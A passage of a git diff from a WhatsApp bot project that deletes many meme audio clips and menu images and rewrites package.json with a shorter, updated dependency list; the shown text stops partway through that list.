Binary files /dev/null and b/media/Menu3.jpg differ
diff --git a/media/menus/img3.jpg b/media/Menu4.jpg
similarity index 100%
rename from media/menus/img3.jpg
rename to media/Menu4.jpg
diff --git a/media/Momento equisde.mp3 b/media/Momento equisde.mp3
deleted file mode 100644
index 16a8154c2..000000000
Binary files a/media/Momento equisde.mp3 and /dev/null differ
diff --git a/media/Motivacion.mp3 b/media/Motivacion.mp3
deleted file mode 100644
index adf2117dd..000000000
Binary files a/media/Motivacion.mp3 and /dev/null differ
diff --git a/media/Muchachos.mp3 b/media/Muchachos.mp3
deleted file mode 100644
index dcd5ba782..000000000
Binary files a/media/Muchachos.mp3 and /dev/null differ
diff --git a/media/Mujer.mp3 b/media/Mujer.mp3
deleted file mode 100644
index a79e2e942..000000000
Binary files a/media/Mujer.mp3 and /dev/null differ
diff --git a/media/No Rompas Mas.mp3 b/media/No Rompas Mas.mp3
deleted file mode 100644
index 6f3a9365a..000000000
Binary files a/media/No Rompas Mas.mp3 and /dev/null differ
diff --git a/media/Noche.mp3 b/media/Noche.mp3
deleted file mode 100644
index d040bd0e1..000000000
Binary files a/media/Noche.mp3 and /dev/null differ
diff --git a/media/Nuevo audio.mp3 b/media/Nuevo audio.mp3
deleted file mode 100644
index 31634ae0a..000000000
Binary files a/media/Nuevo audio.mp3 and /dev/null differ
diff --git a/media/Onichan.mp3 b/media/Onichan.mp3
deleted file mode 100644
index 32d3f4331..000000000
Binary files a/media/Onichan.mp3 and /dev/null differ
diff --git a/media/Potaxio.mp3 b/media/Potaxio.mp3
deleted file mode 100644
index a9a14ff04..000000000
Binary files a/media/Potaxio.mp3 and /dev/null differ
diff --git a/media/Primo.mp3 b/media/Primo.mp3
deleted file mode 100644
index b8af57d94..000000000
Binary files a/media/Primo.mp3 and /dev/null differ
diff --git a/media/Que tal Grupo.mp3 b/media/Que tal Grupo.mp3
deleted file mode 100644
index a4fe333c0..000000000
Binary files a/media/Que tal Grupo.mp3 and /dev/null differ
diff --git a/media/Se estan riendo de mi.mp3 b/media/Se estan riendo de mi.mp3
deleted file mode 100644
index e28687b55..000000000
Binary files a/media/Se estan riendo de mi.mp3 and /dev/null differ
diff --git a/media/Su nivel de pendejo.mp3 b/media/Su nivel de pendejo.mp3
deleted file mode 100644
index 1f93a6128..000000000
Binary files a/media/Su nivel de pendejo.mp3 and /dev/null differ
diff --git a/media/Tal vez.mp3 b/media/Tal vez.mp3
deleted file mode 100644
index fc6d49ea0..000000000
Binary files a/media/Tal vez.mp3 and /dev/null differ
diff --git a/media/Te gusta el Pepino.mp3 b/media/Te gusta el Pepino.mp3
deleted file mode 100644
index 00317ff32..000000000
Binary files a/media/Te gusta el Pepino.mp3 and /dev/null differ
diff --git a/media/Te-amo.mp3 b/media/Te-amo.mp3
deleted file mode 100644
index e4ec0b803..000000000
Binary files a/media/Te-amo.mp3 and /dev/null differ
diff --git a/media/Todo bien.mp3 b/media/Todo bien.mp3
deleted file mode 100644
index ab016a652..000000000
Binary files a/media/Todo bien.mp3 and /dev/null differ
diff --git a/media/Traigan le una falda.mp3 b/media/Traigan le una falda.mp3
deleted file mode 100644
index dc9867c97..000000000
Binary files a/media/Traigan le una falda.mp3 and /dev/null differ
diff --git a/media/Tu.mp3 b/media/Tu.mp3
deleted file mode 100644
index 58d93d755..000000000
Binary files a/media/Tu.mp3 and /dev/null differ
diff --git a/media/UwU.mp3 b/media/UwU.mp3
deleted file mode 100644
index 31634ae0a..000000000
Binary files a/media/UwU.mp3 and /dev/null differ
diff --git a/media/abduzcan.mp3 b/media/abduzcan.mp3
deleted file mode 100644
index cfb5d909d..000000000
Binary files a/media/abduzcan.mp3 and /dev/null differ
diff --git a/media/admin-calzones.mp3 b/media/admin-calzones.mp3
deleted file mode 100644
index 13f3b19ec..000000000
Binary files a/media/admin-calzones.mp3 and /dev/null differ
diff --git a/media/admin.mp3 b/media/admin.mp3
deleted file mode 100644
index e2f150fca..000000000
Binary files a/media/admin.mp3 and /dev/null differ
diff --git a/media/aguanta.mp3 b/media/aguanta.mp3
deleted file mode 100644
index 4aac62cde..000000000
Binary files a/media/aguanta.mp3 and /dev/null differ
diff --git a/media/alla.mp3 b/media/alla.mp3
deleted file mode 100644
index fd6be56e6..000000000
Binary files a/media/alla.mp3 and /dev/null differ
diff --git a/media/asen.mp3 b/media/asen.mp3
deleted file mode 100644
index db1cfc6ad..000000000
Binary files a/media/asen.mp3 and /dev/null differ
diff --git a/media/baneado.mp3 b/media/baneado.mp3
deleted file mode 100644
index c33cb707d..000000000
Binary files a/media/baneado.mp3 and /dev/null differ
diff --git a/media/bar.mp3 b/media/bar.mp3
deleted file mode 100644
index cc4a0ee4d..000000000
Binary files a/media/bar.mp3 and /dev/null differ
diff --git a/media/bardo.mp3 b/media/bardo.mp3
deleted file mode 100644
index 3ac39ea78..000000000
Binary files a/media/bardo.mp3 and /dev/null differ
diff --git a/media/basado.mp3 b/media/basado.mp3
deleted file mode 100644
index f9a6e9bc4..000000000
Binary files a/media/basado.mp3 and /dev/null differ
diff --git a/media/bff.mp3 b/media/bff.mp3
deleted file mode 100644
index 1f3f9f5bd..000000000
Binary files a/media/bff.mp3 and /dev/null differ
diff --git a/media/bien-pensado-woody.mp3 b/media/bien-pensado-woody.mp3
deleted file mode 100644
index fbd168c4e..000000000
Binary files a/media/bien-pensado-woody.mp3 and /dev/null differ
diff --git a/media/boanoite.mp3 b/media/boanoite.mp3
deleted file mode 100644
index 4612cad2c..000000000
Binary files a/media/boanoite.mp3 and /dev/null differ
diff --git a/media/boatarde.mp3 b/media/boatarde.mp3
deleted file mode 100644
index 3cc2bddbf..000000000
Binary files a/media/boatarde.mp3 and /dev/null differ
diff --git a/media/borracho.mp3 b/media/borracho.mp3
deleted file mode 100644
index a47c516ef..000000000
Binary files a/media/borracho.mp3 and /dev/null differ
diff --git a/media/bot.mp3 b/media/bot.mp3
deleted file mode 100644
index d77371261..000000000
Binary files a/media/bot.mp3 and /dev/null differ
diff --git a/media/bruno.mp3 b/media/bruno.mp3
deleted file mode 100644
index f120cf5f2..000000000
Binary files a/media/bruno.mp3 and /dev/null differ
diff --git a/media/btss.webp b/media/btss.webp
deleted file mode 100644
index 34bd86591..000000000
Binary files a/media/btss.webp and /dev/null differ
diff --git a/media/bueno si.mp3 b/media/bueno si.mp3
deleted file mode 100644
index c7f8be801..000000000
Binary files a/media/bueno si.mp3 and /dev/null differ
diff --git a/media/callese.mp3 b/media/callese.mp3
deleted file mode 100644
index 69f7cde63..000000000
Binary files a/media/callese.mp3 and /dev/null differ
diff --git a/media/cancion.mp3 b/media/cancion.mp3
deleted file mode 100644
index 03173b227..000000000
Binary files a/media/cancion.mp3 and /dev/null differ
diff --git a/media/cancion2.mp3 b/media/cancion2.mp3
deleted file mode 100644
index 33c555659..000000000
Binary files a/media/cancion2.mp3 and /dev/null differ
diff --git a/media/chabona.mp3 b/media/chabona.mp3
deleted file mode 100644
index 8fd7642f5..000000000
Binary files a/media/chabona.mp3 and /dev/null differ
diff --git a/media/chica lgante.mp3 b/media/chica lgante.mp3
deleted file mode 100644
index 25d0adaed..000000000
Binary files a/media/chica lgante.mp3 and /dev/null differ
diff --git a/media/contexto.mp3 b/media/contexto.mp3
deleted file mode 100644
index a229f1d9e..000000000
Binary files a/media/contexto.mp3 and /dev/null differ
diff --git a/media/creador.mp3 b/media/creador.mp3
deleted file mode 100644
index b21a82584..000000000
Binary files a/media/creador.mp3 and /dev/null differ
diff --git a/media/cuenta.mp3 b/media/cuenta.mp3
deleted file mode 100644
index 1f65af5af..000000000
Binary files a/media/cuenta.mp3 and /dev/null differ
diff --git a/media/delivery.mp3 b/media/delivery.mp3
deleted file mode 100644
index d58d2e4b9..000000000
Binary files a/media/delivery.mp3 and /dev/null differ
diff --git a/media/desamor.mp3 b/media/desamor.mp3
deleted file mode 100644
index add9e12c1..000000000
Binary files a/media/desamor.mp3 and /dev/null differ
diff --git a/media/descarga.mp3 b/media/descarga.mp3
deleted file mode 100644
index f5d7436e1..000000000
Binary files a/media/descarga.mp3 and /dev/null differ
diff --git a/media/dipy.mp3 b/media/dipy.mp3
deleted file mode 100644
index b822d3fb1..000000000
Binary files a/media/dipy.mp3 and /dev/null differ
diff --git a/media/dragon ball z.mp3 b/media/dragon ball z.mp3
deleted file mode 100644
index 8704c1024..000000000
Binary files a/media/dragon ball z.mp3 and /dev/null differ
diff --git a/media/dylan1.mp3 b/media/dylan1.mp3
deleted file mode 100644
index 96eb1e877..000000000
Binary files a/media/dylan1.mp3 and /dev/null differ
diff --git a/media/dylan2.mp3 b/media/dylan2.mp3
deleted file mode 100644
index a8b77019b..000000000
Binary files a/media/dylan2.mp3 and /dev/null differ
diff --git a/media/el amor.mp3 b/media/el amor.mp3
deleted file mode 100644
index b0d2df2d4..000000000
Binary files a/media/el amor.mp3 and /dev/null differ
diff --git a/media/el pepe.mp3 b/media/el pepe.mp3
deleted file mode 100644
index e97397d53..000000000
Binary files a/media/el pepe.mp3 and /dev/null differ
diff --git a/media/el rap de fernanfloo.mp3 b/media/el rap de fernanfloo.mp3
deleted file mode 100644
index 8b6dc23ee..000000000
Binary files a/media/el rap de fernanfloo.mp3 and /dev/null differ
diff --git a/media/eliminar.mp3 b/media/eliminar.mp3
deleted file mode 100644
index 279040fe3..000000000
Binary files a/media/eliminar.mp3 and /dev/null differ
diff --git a/media/emilia.mp4 b/media/emilia.mp4
deleted file mode 100644
index 385270331..000000000
Binary files a/media/emilia.mp4 and /dev/null differ
diff --git a/media/entrada-epica-al-chat.mp3 b/media/entrada-epica-al-chat.mp3
deleted file mode 100644
index dbf219d84..000000000
Binary files a/media/entrada-epica-al-chat.mp3 and /dev/null differ
diff --git a/media/es grupo.mp3 b/media/es grupo.mp3
deleted file mode 100644
index 0d97ce648..000000000
Binary files a/media/es grupo.mp3 and /dev/null differ
diff --git a/media/es viernes.mp3 b/media/es viernes.mp3
deleted file mode 100644
index ab9d29d96..000000000
Binary files a/media/es viernes.mp3 and /dev/null differ
diff --git a/media/esto va a hacer epico papus.mp3 b/media/esto va a hacer epico papus.mp3
deleted file mode 100644
index 4a9875b0d..000000000
Binary files a/media/esto va a hacer epico papus.mp3 and /dev/null differ
diff --git a/media/esto va para ti.mp3 b/media/esto va para ti.mp3
deleted file mode 100644
index 837b95a13..000000000
Binary files a/media/esto va para ti.mp3 and /dev/null differ
diff --git a/media/estupido.mp3 b/media/estupido.mp3
deleted file mode 100644
index 1f64e74ba..000000000
Binary files a/media/estupido.mp3 and /dev/null differ
diff --git a/media/feriado.mp3 b/media/feriado.mp3
deleted file mode 100644
index 7a9570f99..000000000
Binary files a/media/feriado.mp3 and /dev/null differ
diff --git a/media/fernet.mp3 b/media/fernet.mp3
deleted file mode 100644
index 5567e227e..000000000
Binary files a/media/fernet.mp3 and /dev/null differ
diff --git a/media/fiesta.mp3 b/media/fiesta.mp3
deleted file mode 100644
index d8f661381..000000000
Binary files a/media/fiesta.mp3 and /dev/null differ
diff --git a/media/fino-senores.mp3 b/media/fino-senores.mp3
deleted file mode 100644
index a6ac2369a..000000000
Binary files a/media/fino-senores.mp3 and /dev/null differ
diff --git a/media/fiu.mp3 b/media/fiu.mp3
deleted file mode 100644
index 0034ee953..000000000
Binary files a/media/fiu.mp3 and /dev/null differ
diff --git a/media/flash.mp3 b/media/flash.mp3
deleted file mode 100644
index 6344c31da..000000000
Binary files a/media/flash.mp3 and /dev/null differ
diff --git a/media/freefire.mp3 b/media/freefire.mp3
deleted file mode 100644
index dc1ea9c76..000000000
Binary files a/media/freefire.mp3 and /dev/null differ
diff --git a/media/gaspi6.mp3 b/media/gaspi6.mp3
deleted file mode 100644
index 7e2020829..000000000
Binary files a/media/gaspi6.mp3 and /dev/null differ
diff --git a/media/gaspi9.mp3 b/media/gaspi9.mp3
deleted file mode 100644
index 6527fc536..000000000
Binary files a/media/gaspi9.mp3 and /dev/null differ
diff --git a/media/gay2.mp3 b/media/gay2.mp3
deleted file mode 100644
index 33c555659..000000000
Binary files a/media/gay2.mp3 and /dev/null differ
diff --git a/media/gemi2.mp3 b/media/gemi2.mp3
deleted file mode 100644
index 8680cb303..000000000
Binary files a/media/gemi2.mp3 and /dev/null differ
diff --git a/media/grap.mp3 b/media/grap.mp3
deleted file mode 100644
index c9d0ea405..000000000
Binary files a/media/grap.mp3 and /dev/null differ
diff --git a/media/hablar primos.mp3 b/media/hablar primos.mp3
deleted file mode 100644
index 3f5f900e5..000000000
Binary files a/media/hablar primos.mp3 and /dev/null differ
diff --git a/media/hentai.mp3 b/media/hentai.mp3
deleted file mode 100644
index 1c73ec5e8..000000000
Binary files a/media/hentai.mp3 and /dev/null differ
diff --git a/media/infobot.mp3 b/media/infobot.mp3
deleted file mode 100644
index 9b5ed9116..000000000
Binary files a/media/infobot.mp3 and /dev/null differ
diff --git a/media/insultar.mp3 b/media/insultar.mp3
deleted file mode 100644
index 131f70ae0..000000000
Binary files a/media/insultar.mp3 and /dev/null differ
diff --git a/media/internet gratis.mp3 b/media/internet gratis.mp3
deleted file mode 100644
index cfc302893..000000000
Binary files a/media/internet gratis.mp3 and /dev/null differ
diff --git a/media/invocar.mp3 b/media/invocar.mp3
deleted file mode 100644
index b533c57bd..000000000
Binary files a/media/invocar.mp3 and /dev/null differ
diff --git a/media/jai.mp3 b/media/jai.mp3
deleted file mode 100644
index d12f0c7a8..000000000
Binary files a/media/jai.mp3 and /dev/null differ
diff --git a/media/jesucristo.mp3 b/media/jesucristo.mp3
deleted file mode 100644
index b8e962636..000000000
Binary files a/media/jesucristo.mp3 and /dev/null differ
diff --git a/media/joder.mp3 b/media/joder.mp3
deleted file mode 100644
index cdc75a9f2..000000000
Binary files a/media/joder.mp3 and /dev/null differ
diff --git a/media/juegos.mp3 b/media/juegos.mp3
deleted file mode 100644
index 8f74f1e20..000000000
Binary files a/media/juegos.mp3 and /dev/null differ
diff --git a/media/la bebecita.mp3 b/media/la bebecita.mp3
deleted file mode 100644
index fa3a5657c..000000000
Binary files a/media/la bebecita.mp3 and /dev/null differ
diff --git a/media/la mamare.mp3 b/media/la mamare.mp3
deleted file mode 100644
index fae511686..000000000
Binary files a/media/la mamare.mp3 and /dev/null differ
diff --git a/media/la toxica.mp3 b/media/la toxica.mp3
deleted file mode 100644
index 4d7d2e645..000000000
Binary files a/media/la toxica.mp3 and /dev/null differ
diff --git a/media/la-voz-de-hombre.mp3 b/media/la-voz-de-hombre.mp3
deleted file mode 100644
index 0ba191be1..000000000
Binary files a/media/la-voz-de-hombre.mp3 and /dev/null differ
diff --git a/media/le mando fui.mp3 b/media/le mando fui.mp3
deleted file mode 100644
index 2932213df..000000000
Binary files a/media/le mando fui.mp3 and /dev/null differ
diff --git a/media/listas.mp3 b/media/listas.mp3
deleted file mode 100644
index 9c966be69..000000000
Binary files a/media/listas.mp3 and /dev/null differ
diff --git a/media/loli conmigo.mp3 b/media/loli conmigo.mp3
deleted file mode 100644
index f63a89c2f..000000000
Binary files a/media/loli conmigo.mp3 and /dev/null differ
diff --git a/media/maau1.mp3 b/media/maau1.mp3
deleted file mode 100644
index f802e2fbf..000000000
Binary files a/media/maau1.mp3 and /dev/null differ
diff --git a/media/masivo-cancion.mp3 b/media/masivo-cancion.mp3
deleted file mode 100644
index a5d17cefe..000000000
Binary files a/media/masivo-cancion.mp3 and /dev/null differ
diff --git a/media/me-pican-los-cocos.mp3 b/media/me-pican-los-cocos.mp3
deleted file mode 100644
index 24ba15d09..000000000
Binary files a/media/me-pican-los-cocos.mp3 and /dev/null differ
diff --git a/media/medescarg.mp3 b/media/medescarg.mp3
deleted file mode 100644
index 400bb74ef..000000000
Binary files a/media/medescarg.mp3 and /dev/null differ
diff --git a/media/menu.mp3 b/media/menu.mp3
deleted file mode 100644
index 9feea5d9b..000000000
Binary files a/media/menu.mp3 and /dev/null differ
diff --git a/media/menus/Menu1.jpg b/media/menus/Menu1.jpg
deleted file mode 100644
index d0e112a87..000000000
Binary files a/media/menus/Menu1.jpg and /dev/null differ
diff --git a/media/menus/Menu2.jpg b/media/menus/Menu2.jpg
deleted file mode 100644
index 8de25e74a..000000000
Binary files a/media/menus/Menu2.jpg and /dev/null differ
diff --git a/media/menus/Menu3.jpg b/media/menus/Menu3.jpg
deleted file mode 100644
index 9e35ff8a1..000000000
Binary files a/media/menus/Menu3.jpg and /dev/null differ
diff --git a/media/menus/Menu4paypal.jpg b/media/menus/Menu4paypal.jpg
deleted file mode 100644
index fb5e8821e..000000000
Binary files a/media/menus/Menu4paypal.jpg and /dev/null differ
diff --git a/media/menus/Menuvid1.mp4 b/media/menus/Menuvid1.mp4
deleted file mode 100644
index 9b4269a45..000000000
Binary files a/media/menus/Menuvid1.mp4 and /dev/null differ
diff --git a/media/menus/Menuvid2.mp4 b/media/menus/Menuvid2.mp4
deleted file mode 100644
index 433bf22de..000000000
Binary files a/media/menus/Menuvid2.mp4 and /dev/null differ
diff --git a/media/menus/Menuvid3.mp4 b/media/menus/Menuvid3.mp4
deleted file mode 100644
index 79783f2e1..000000000
Binary files a/media/menus/Menuvid3.mp4 and /dev/null differ
diff --git a/media/menus/img1.jpg b/media/menus/img1.jpg
deleted file mode 100644
index 637ad8cb5..000000000
Binary files a/media/menus/img1.jpg and /dev/null differ
diff --git a/media/menus/img2.jpg b/media/menus/img2.jpg
deleted file mode 100644
index e4e20a901..000000000
Binary files a/media/menus/img2.jpg and /dev/null differ
diff --git a/media/mmm.mp3 b/media/mmm.mp3
deleted file mode 100644
index bb9eb3e66..000000000
Binary files a/media/mmm.mp3 and /dev/null differ
diff --git a/media/moshi moshi.mp3 b/media/moshi moshi.mp3
deleted file mode 100644
index 468d98cd0..000000000
Binary files a/media/moshi moshi.mp3 and /dev/null differ
diff --git a/media/nadie te pregunto.mp3 b/media/nadie te pregunto.mp3
deleted file mode 100644
index 6cc24b7ed..000000000
Binary files a/media/nadie te pregunto.mp3 and /dev/null differ
diff --git a/media/navidad.m4a b/media/navidad.m4a
deleted file mode 100644
index 1d7ba46d2..000000000
Binary files a/media/navidad.m4a and /dev/null differ
diff --git a/media/niconico.mp3 b/media/niconico.mp3
deleted file mode 100644
index 239ea5fbe..000000000
Binary files a/media/niconico.mp3 and /dev/null differ
diff --git a/media/no agregue.mp3 b/media/no agregue.mp3
deleted file mode 100644
index 42920f7e1..000000000
Binary files a/media/no agregue.mp3 and /dev/null differ
diff --git a/media/no chu.mp3 b/media/no chu.mp3
deleted file mode 100644
index 9a4f87217..000000000
Binary files a/media/no chu.mp3 and /dev/null differ
diff --git a/media/no funciona.mp3 b/media/no funciona.mp3
deleted file mode 100644
index d14b9ae11..000000000
Binary files a/media/no funciona.mp3 and /dev/null differ
diff --git a/media/no la pienso.mp3 b/media/no la pienso.mp3
deleted file mode 100644
index 03ff738c4..000000000
Binary files a/media/no la pienso.mp3 and /dev/null differ
diff --git a/media/no me hables.mp3 b/media/no me hables.mp3
deleted file mode 100644
index 3a8e77c70..000000000
Binary files a/media/no me hables.mp3 and /dev/null differ
diff --git a/media/no me hagas usar esto.mp3 b/media/no me hagas usar esto.mp3
deleted file mode 100644
index b4ccdc25d..000000000
Binary files a/media/no me hagas usar esto.mp3 and /dev/null differ
diff --git "a/media/no ped\303\255 tu opinion.mp3" "b/media/no ped\303\255 tu opinion.mp3"
deleted file mode 100644
index 030cf079d..000000000
Binary files "a/media/no ped\303\255 tu opinion.mp3" and /dev/null differ
diff --git a/media/no-digas-eso-papu.mp3 b/media/no-digas-eso-papu.mp3
deleted file mode 100644
index 0d1b179b7..000000000
Binary files a/media/no-digas-eso-papu.mp3 and /dev/null differ
diff --git a/media/ohayo.mp3 b/media/ohayo.mp3
deleted file mode 100644
index 812734862..000000000
Binary files a/media/ohayo.mp3 and /dev/null differ
diff --git a/media/omaiga.mp3 b/media/omaiga.mp3
deleted file mode 100644
index df3b39009..000000000
Binary files a/media/omaiga.mp3 and /dev/null differ
diff --git a/media/ora.mp3 b/media/ora.mp3
deleted file mode 100644
index 526977ecc..000000000
Binary files a/media/ora.mp3 and /dev/null differ
diff --git a/media/orale.mp3 b/media/orale.mp3
deleted file mode 100644
index 0c40eebde..000000000
Binary files a/media/orale.mp3 and /dev/null differ
diff --git a/media/otaku.mp3 b/media/otaku.mp3
deleted file mode 100644
index 92965f609..000000000
Binary files a/media/otaku.mp3 and /dev/null differ
diff --git a/media/pato.mp3 b/media/pato.mp3
deleted file mode 100644
index 1be7222cf..000000000
Binary files a/media/pato.mp3 and /dev/null differ
diff --git a/media/pero-esto-ya-es-otro-nivel.mp3 b/media/pero-esto-ya-es-otro-nivel.mp3
deleted file mode 100644
index dd533caaa..000000000
Binary files a/media/pero-esto-ya-es-otro-nivel.mp3 and /dev/null differ
diff --git a/media/pikachu.mp3 b/media/pikachu.mp3
deleted file mode 100644
index bf8b4148d..000000000
Binary files a/media/pikachu.mp3 and /dev/null differ
diff --git a/media/pokemon.mp3 b/media/pokemon.mp3
deleted file mode 100644
index c4f0c0c98..000000000
Binary files a/media/pokemon.mp3 and /dev/null differ
diff --git a/media/q onda.mp3 b/media/q onda.mp3
deleted file mode 100644
index 3d1f2b2a4..000000000
Binary files a/media/q onda.mp3 and /dev/null differ
diff --git a/media/que linda noche.mp3 b/media/que linda noche.mp3
deleted file mode 100644
index 28107eb03..000000000
Binary files a/media/que linda noche.mp3 and /dev/null differ
diff --git a/media/rawr.mp3 b/media/rawr.mp3
deleted file mode 100644
index 36ec95468..000000000
Binary files a/media/rawr.mp3 and /dev/null differ
diff --git a/media/risa.mp3 b/media/risa.mp3
deleted file mode 100644
index 0accb85fc..000000000
Binary files a/media/risa.mp3 and /dev/null differ
diff --git a/media/saliste del grupo.mp3 b/media/saliste del grupo.mp3
deleted file mode 100644
index bf3e3cf5a..000000000
Binary files a/media/saliste del grupo.mp3 and /dev/null differ
diff --git a/media/sempai.mp3 b/media/sempai.mp3
deleted file mode 100644
index 8411f9b94..000000000
Binary files a/media/sempai.mp3 and /dev/null differ
diff --git a/media/siu.mp3 b/media/siu.mp3
deleted file mode 100644
index 174eb243b..000000000
Binary files a/media/siu.mp3 and /dev/null differ
diff --git a/media/sombare14.mp3 b/media/sombare14.mp3
deleted file mode 100644
index 0d8e249c2..000000000
Binary files a/media/sombare14.mp3 and /dev/null differ
diff --git a/media/sombare5.mp3 b/media/sombare5.mp3
deleted file mode 100644
index e0167a09f..000000000
Binary files a/media/sombare5.mp3 and /dev/null differ
diff --git a/media/sus.mp3 b/media/sus.mp3
deleted file mode 100644
index 43ebfb0ea..000000000
Binary files a/media/sus.mp3 and /dev/null differ
diff --git a/media/suspenso.mp3 b/media/suspenso.mp3
deleted file mode 100644
index 1e9679eb3..000000000
Binary files a/media/suspenso.mp3 and /dev/null differ
diff --git a/media/takataka.mp3 b/media/takataka.mp3
deleted file mode 100644
index 0790f4ead..000000000
Binary files a/media/takataka.mp3 and /dev/null differ
diff --git a/media/tarado.mp3 b/media/tarado.mp3
deleted file mode 100644
index 5efa580d7..000000000
Binary files a/media/tarado.mp3 and /dev/null differ
diff --git a/media/te elimino.mp3 b/media/te elimino.mp3
deleted file mode 100644
index 0ba3b02d4..000000000
Binary files a/media/te elimino.mp3 and /dev/null differ
diff --git a/media/te sabes.mp3 b/media/te sabes.mp3
deleted file mode 100644
index 9cc87f588..000000000
Binary files a/media/te sabes.mp3 and /dev/null differ
diff --git "a/media/te siento m\303\255a.mp3" "b/media/te siento m\303\255a.mp3"
deleted file mode 100644
index db67837ec..000000000
Binary files "a/media/te siento m\303\255a.mp3" and /dev/null differ
diff --git a/media/temon.mp3 b/media/temon.mp3
deleted file mode 100644
index 6340bfa20..000000000
Binary files a/media/temon.mp3 and /dev/null differ
diff --git a/media/tka.mp3 b/media/tka.mp3
deleted file mode 100644
index e4b9d405d..000000000
Binary files a/media/tka.mp3 and /dev/null differ
diff --git a/media/toma.mp3 b/media/toma.mp3
deleted file mode 100644
index 1b38c35b4..000000000
Binary files a/media/toma.mp3 and /dev/null differ
diff --git a/media/trabajo.mp3 b/media/trabajo.mp3
deleted file mode 100644
index b1d1a412e..000000000
Binary files a/media/trabajo.mp3 and /dev/null differ
diff --git a/media/tunometecabrasaramambiche.mp3 b/media/tunometecabrasaramambiche.mp3
deleted file mode 100644
index 5c603c244..000000000
Binary files a/media/tunometecabrasaramambiche.mp3 and /dev/null differ
diff --git a/media/una-pregunta.mp3 b/media/una-pregunta.mp3
deleted file mode 100644
index 385136ebb..000000000
Binary files a/media/una-pregunta.mp3 and /dev/null differ
diff --git a/media/usted esta detenido.mp3 b/media/usted esta detenido.mp3
deleted file mode 100644
index fdf31311d..000000000
Binary files a/media/usted esta detenido.mp3 and /dev/null differ
diff --git a/media/vamo.mp3 b/media/vamo.mp3
deleted file mode 100644
index 9730f1942..000000000
Binary files a/media/vamo.mp3 and /dev/null differ
diff --git a/media/vengo.mp3 b/media/vengo.mp3
deleted file mode 100644
index 86bb562a9..000000000
Binary files a/media/vengo.mp3 and /dev/null differ
diff --git a/media/verdad-que-te-engane.mp3 b/media/verdad-que-te-engane.mp3
deleted file mode 100644
index 0f6aa86db..000000000
Binary files a/media/verdad-que-te-engane.mp3 and /dev/null differ
diff --git a/media/vete a la verga.mp3 b/media/vete a la verga.mp3
deleted file mode 100644
index b1b348031..000000000
Binary files a/media/vete a la verga.mp3 and /dev/null differ
diff --git a/package.json b/package.json
index a3ded54c9..18e0ba9db 100644
--- a/package.json
+++ b/package.json
@@ -1,96 +1,50 @@
{
-"name": "The-LoliBot-MD",
-"version": "1.5.5",
-"description": "Super Bot WhatsApp",
-"main": "index.js",
-"type": "module",
-
-"directories": {
-"lib": "lib",
-"src": "src",
-"plugins": "plugins" },
-
-"scripts": {
-"start": "node index.js",
-"qr": "node index.js qr",
-"code": "node index.js code",
-"test": "node test.js",
-"test2": "nodemon index.js" },
-
-"homepage": "https://github.com/elrebelde21/The-LoliBot-MD",
-"author": {
-"name": "elrebelde21" },
-
-"repository": {
-"type": "git",
-"url": "git+https://github.com/elrebelde21/The-LoliBot-MD.git" },
-
-"bugs": {
-"url": "https://github.com/elrebelde21/The-LoliBot-MD/issues" },
-"license": "GPL-3.0-or-later",
-"dependencies": {
-"@whiskeysockets/baileys": "^6.5.0",
-"@adiwajshing/keyed-db": "^0.2.4",
-"@bochilteam/scraper": "^4.2.4",
-"@brandond/findthelyrics": "^2.0.5",
-"@green-code/music-track-data": "^2.0.3",
-"@shineiichijo/marika": "^2.0.6",
-"@vitalets/google-translate-api": "^8.0.0",
-"@xct007/frieren-scraper": "^0.0.2",
-"acrcloud": "^1.4.0",
-"api-dylux": "^1.5.6",
-"aptoide-scraper": "^1.0.1",
-"awesome-phonenumber": "^2.68.0",
-"axios": "^1.1.3",
-"mathjs": "^11.3.0",
-"body-parser": "^1.20.2",
-"cfonts": "^2.10.0",
-"chalk": "^5.0.0",
-"cheerio": "^1.0.0-rc.10",
-"colors": "1.4.0",
-"express": "^4.17.3",
-"fb-downloader-scrapper": "^1.0.1",
-"file-type": "^17.1.1",
-"fluent-ffmpeg": "^2.1.2",
-"formdata-node": "^4.3.2",
-"fs": "^0.0.1-security",
-"hispamemes": "^1.0.7",
-"human-readable": "^0.2.1",
-"imagemaker.js": "^2.0.4",
-"instagram-url-direct": "^1.0.12",
-"jsdom": "^19.0.0",
-"link-preview-js": "^3.0.0",
-"lodash": "^4.17.21",
-"lowdb": "^3.0.0",
-"md5": "^2.3.0",
-"moment-timezone": "^0.5.34",
-"mongoose": "^6.3.3",
-"node-fetch": "^3.2.0",
-"node-gtts": "^2.0.2",
-"node-webpmux": "^3.1.1",
-"node-os-utils": "^1.3.6",
-"openai": "^3.3.0",
-"pdfkit": "^0.13.0",
-"perf_hooks": "^0.0.1",
-"pino": "^7.8.0",
-"pino-pretty": "^7.5.1",
-"qrcode": "^1.5.0",
-"qrcode-terminal": "^0.12.0",
-"readline": "^1.3.0",
-"similarity": "^1.2.1",
-"socket.io": "^4.4.1",
-"spotifydl-x": "^0.3.5",
-"syntax-error": "^1.4.0",
-"terminal-image": "^2.0.0",
-"url-regex-safe": "^3.0.0",
-"javascript-obfuscator": "^4.0.0",
-"wa-sticker-formatter": "^4.3.2",
-"yargs": "^17.3.1",
-"yt-search": "^2.10.3",
-"google-it": "^1.6.3",
-"ytdl-core": "^4.11.4"
-},
-"devDependencies": {
-"eslint": "^8.45.0",
-"eslint-config-google": "^0.14.0"
-}}
+ "name": "LoliBot",
+ "version": "2.0.0 (beta)",
+ "type": "module",
+ "scripts": {
+ "start": "node --max-old-space-size=512 index.js",
+ "dev": "node index.js"
+ },
+ "dependencies": {
+ "@whiskeysockets/baileys": "^7.0.0-rc.3",
+ "@bochilteam/scraper": "^5.0.1",
+ "chalk": "^5.3.0",
+ "api-dylux": "^1.8.3",
+ "axios": "^1.7.9",
+ "pino": "^8.0.0",
+ "readline-sync": "^1.4.10",
+ "cfonts": "^3.3.0",
+ "yargs": "^17.7.2",
+ "qrcode": "^1.5.0",
+ "qrcode-terminal": "^0.12.0",
+ "syntax-error": "^1.4.0",
+ "node-fetch": "^3.2.10",
+ "node-webpmux": "^3.1.3",
+ "yt-search": "^2.12.1",
+ "node-gtts": "^2.0.2",
+ "ytdl-core": "latest",
+ "openai": "^3.3.0",
+ "file-type": "^18.0.0",
+ "fluent-ffmpeg": "^2.1.2",
+ "form-data": "^4.0.0",
+ "cheerio": "1.0.0-rc.12",
+ "acrcloud": "^1.4.0",
+ "url-file-size": "^1.0.5-1",
+ "mime-types": "^2.1.35",
+ "link-preview-js": "^3.0.0",
+ "formdata-node": "^5.0.0",
+ "axios-cookiejar-support": "^5.0.5",
+ "lodash": "^4.17.21",
+ "fuzzysort": "^1.0.0",
